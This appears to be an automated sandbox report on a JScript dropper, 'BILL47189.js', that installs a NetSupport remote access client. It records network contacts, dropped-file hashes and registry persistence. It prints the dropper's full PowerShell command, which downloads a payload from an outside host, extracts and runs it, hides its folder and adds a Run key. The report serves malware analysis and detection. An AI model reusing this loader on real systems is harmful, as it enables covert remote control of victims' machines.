Analysis Overview
SHA256
a95fe0e3b0cb3c0a172eef317d1b213f8572156dc44026f470add87e563bb3d1
Threat Level: Known bad
The file BILL47189.js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Checks computer location settings
Executes dropped EXE
Loads dropped DLL
Adds Run key to start application
Enumerates physical storage devices
Script User-Agent
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-01-24 13:24
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-01-24 13:24
Reported
2024-01-24 13:27
Platform
win7-20231215-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\BILL47189.js
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | blawx.com | udp |
| RU | 188.127.227.29:443 | blawx.com | tcp |
| RU | 188.127.227.29:443 | blawx.com | tcp |
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-01-24 13:24
Reported
2024-01-24 13:27
Platform
win10v2004-20231215-en
Max time kernel
143s
Max time network
153s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX534\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1356 wrote to memory of 4300 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1356 wrote to memory of 4300 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4300 wrote to memory of 2116 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe |
| PID 4300 wrote to memory of 2116 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe |
| PID 4300 wrote to memory of 2116 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\BILL47189.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $SWaycMboEQXpxPyfWKVLxMrPoNHJOnHvd='https://boxtechcompany.com/1/GetData.php?6863';$VPcWwqihLcCbGlZDjoFXWw=(New-Object System.Net.WebClient).DownloadString($SWaycMboEQXpxPyfWKVLxMrPoNHJOnHvd);$gFXgjqqpMoWfHwlanxOgDlOQoZLLaVxLLSn=[System.Convert]::FromBase64String($VPcWwqihLcCbGlZDjoFXWw);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $QjcDGlwWcedZzfd=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $QjcDGlwWcedZzfd -PathType Container)) { New-Item -Path $QjcDGlwWcedZzfd -ItemType Directory };$p=Join-Path $QjcDGlwWcedZzfd 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$gFXgjqqpMoWfHwlanxOgDlOQoZLLaVxLLSn);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$QjcDGlwWcedZzfd)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $QjcDGlwWcedZzfd 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $QjcDGlwWcedZzfd -Force; $FSDFSSD.attributes='Hidden';$s=$QjcDGlwWcedZzfd+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe"
Network
| Country | Destination | Domain | Proto |
| GB | 96.16.110.114:80 | tcp | |
| US | 8.8.8.8:53 | blawx.com | udp |
| RU | 188.127.227.29:443 | blawx.com | tcp |
| US | 8.8.8.8:53 | boxtechcompany.com | udp |
| RU | 188.127.224.160:443 | boxtechcompany.com | tcp |
| US | 8.8.8.8:53 | 29.227.127.188.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 177.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.224.127.188.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.177.190.20.in-addr.arpa | udp |
| NL | 81.19.137.226:443 | tcp | |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.1.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 231.1.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 226.137.19.81.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.65.42.20.in-addr.arpa | udp |
Files
memory/4300-0-0x00000247181D0000-0x00000247181F2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tigdqe51.b0e.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4300-10-0x00007FFADD2E0000-0x00007FFADDDA1000-memory.dmp
memory/4300-11-0x0000024717FF0000-0x0000024718000000-memory.dmp
memory/4300-12-0x0000024717FF0000-0x0000024718000000-memory.dmp
memory/4300-15-0x0000024732840000-0x0000024732852000-memory.dmp
memory/4300-14-0x0000024732600000-0x000002473260A000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX534\PCICL32.dll
| MD5 | fc2c02e490cdd682b29fbecbcfc73370 |
| SHA1 | acb3c5f4d19e0d6440e77bfa78652ed7752e4cf2 |
| SHA256 | f8f2d9cde384bf26f55b2d92988131a4bf2c3f17a8dfc0e248cc0b7bcac744b8 |
| SHA512 | 103f2650b0c6fa6ca7dd07f5a2bdd02077074d84c5f6432d99cc141f193a626698c54bf0a36b95d2983f68033b8d58cfda2f8396550fb68d90c9a47b6c45b4f0 |
memory/4300-75-0x00007FFADD2E0000-0x00007FFADDDA1000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX534\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX534\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX534\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\DIVX534\client32.ini
| MD5 | 5d5a682d300dd44ec669829d77790b31 |
| SHA1 | 9a124709f1a17f18b61179bfed6797df13e387a2 |
| SHA256 | 22f3be353ce99ddc16179f0280936fd2626b949efc3dacf0d23c085a98503ec8 |
| SHA512 | beff890c9e59d2033a15eda015db137da44ca77a7361f8b1a1ea76a6138806c898f9eac8a7a794ca0dc32e1f3c5e5bd8058a52164652d015df02305786f407e7 |
C:\Users\Admin\AppData\Roaming\DIVX534\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX534\PCICL32.DLL
| MD5 | 9993d0c1473247f34120b0249807c9e3 |
| SHA1 | bb1a41c4aaae0150530d8064ef3d2fbc3a9b3efc |
| SHA256 | 0bb7ccc6286b5c3964a2d6e742ab95fe89357173d8c676ebad8bd94dd1c0be63 |
| SHA512 | 2f957861c86886fb9760722464355a424de6c670fb552bda9a53222e5d904651cdd120d7d5404afaa1a536acfbf99640923a3e5fb42b445058a9cad0dcae2c8b |
C:\Users\Admin\AppData\Roaming\DIVX534\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |